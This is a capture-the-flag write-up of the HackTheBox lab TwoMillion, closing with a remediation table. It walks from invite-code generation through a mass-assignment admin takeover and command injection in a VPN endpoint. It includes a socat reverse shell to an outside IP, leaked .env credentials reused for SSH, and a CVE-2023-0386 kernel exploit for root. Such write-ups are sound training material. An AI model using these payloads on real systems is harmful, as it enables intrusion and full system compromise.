HTB TwoMillion: A Lesson in API Abuse and Privilege Escalation
Introduction
TwoMillion recreates the old HackTheBox invite-code registration system. The attack chain combines API vulnerabilities: obfuscated JavaScript, broken access control, command injection, credential leakage from a .env file, and a kernel exploit (CVE-2023-0386) for root.
Attack Overview
JS Deobfuscation → Invite Code Generation → API Enumeration
→ Broken Access Control (IDOR) → Command Injection → RCE
→ Credential Leak (.env) → SSH → CVE-2023-0386 → Root
Reconnaissance
Nmap scan:
nmap -sS -sC -sV -T4 10.129.229.66 -oA scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Add the domain to /etc/hosts:
echo "10.129.229.66 2million.htb" >> /etc/hosts
Directory fuzzing yields no critical findings initially.
Web Enumeration
The site presents an /invite registration page requiring an invite code. Page source reveals a script: /js/inviteapi.min.js. The code is obfuscated using eval-based packing. After deobfuscation, two functions appear:
function verifyInviteCode(code) {
$.ajax({ type: "POST", url: '/api/v1/invite/verify', data: { "code": code }, ... });
}
function makeInviteCode() {
$.ajax({ type: "POST", url: '/api/v1/invite/how/to/generate', ... });
}
Invite Code Generation
Request the generation hint:
POST /api/v1/invite/how/to/generate HTTP/1.1
Host: 2million.htb
Response:
{
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
"enctype": "ROT13"
}
}
Decoding ROT13 yields: In order to generate the invite code, make a POST request to /api/v1/invite/generate
Send the request:
POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Response:
{"data": {"code": "RENVUUktTTFMQkctSlE0UjAtVDJUVUc=", "format": "encoded"}}
Base64 decode: DCUQI-M1LBG-JQ4R0-T2TUG
Use this code to register an account.
API Enumeration
After login, accessing /api/v1 (without trailing slash) returns the full route map:
{
"v1": {
"user": {
"GET": { "/api/v1/user/vpn/generate": "...", ... },
"POST": { "/api/v1/user/register": "...", "/api/v1/user/login": "..." }
},
"admin": {
"GET": { "/api/v1/admin/auth": "Check if user is admin" },
"POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },
"PUT": { "/api/v1/admin/settings/update": "Update user settings" }
}
}
}
An admin section is exposed.
Privilege Escalation via Broken Access Control
Testing the admin settings endpoint:
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Cookie: PHPSESSID=<session>
Content-Type: application/json
The response leaks expected parameters step by step:
"Missing parameter: email""Missing parameter: is_admin"
Send:
{"email": "test@test.com", "is_admin": 1}
Response:
{"id": 13, "username": "Test", "is_admin": 1}
The endpoint has no authorization check, allowing any authenticated user to set is_admin=1. This is a broken access control (Mass Assignment) vulnerability.
Command Injection → Remote Code Execution
Now an admin, use the VPN generation endpoint:
POST /api/v1/admin/vpn/generate HTTP/1.1
Content-Type: application/json
Cookie: PHPSESSID=<session>
{"username": "test"}
The username parameter is passed unsanitized to a shell command. Test injection:
{"username": "aaa;id;"}
Response contains uid=33(www-data) gid=33(www-data) groups=33(www-data). RCE confirmed.
Reverse shell:
{"username": "aaa;socat TCP:10.10.16.181:9001 EXEC:sh;"}
Listener catches a shell as www-data.
Post-Exploitation
Check /var/www/html/.env:
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
MySQL access shows bcrypt hashes, but password reuse works for SSH:
ssh admin@2million.htb
Password: SuperDuperPass123
User flag retrieved:
[redacted]
Privilege Escalation to Root – CVE-2023-0386
Kernel version: 5.15.70-051570-generic (vulnerable to CVE-2023-0386). This OverlayFS vulnerability allows an unprivileged user to copy a setuid binary into an overlay mount, retaining the SUID bit.
Exploitation:
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386 && make
./fuse ./ovlcap/lower ./gc &
./exp
Root shell obtained. Root flag:
[redacted]
A thank_you.json file acknowledges the HTB community.
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Obfuscated JS leaking endpoints | Security through obscurity | Do not expose sensitive API logic client-side |
| Broken Access Control (Mass Assignment) | No server-side check for is_admin | Validate admin privileges before updating settings |
| Command Injection | Unsanitized user input passed to shell_exec | Never pass user input to shell; use parameterized APIs or allowlists |
| Credential Reuse | Database password reused for system SSH | Use unique, strong credentials per service |
| CVE-2023-0386 (OverlayFS) | Unpatched kernel (5.15.70) | Apply kernel patches; restrict unprivileged user namespaces |
Resources
- Nmap — Port scanning
- ffuf — Directory fuzzing
- CyberChef — ROT13 and Base64 decoding
- CVE-2023-0386 PoC — OverlayFS privilege escalation
- LinPEAS — Local privilege escalation enumeration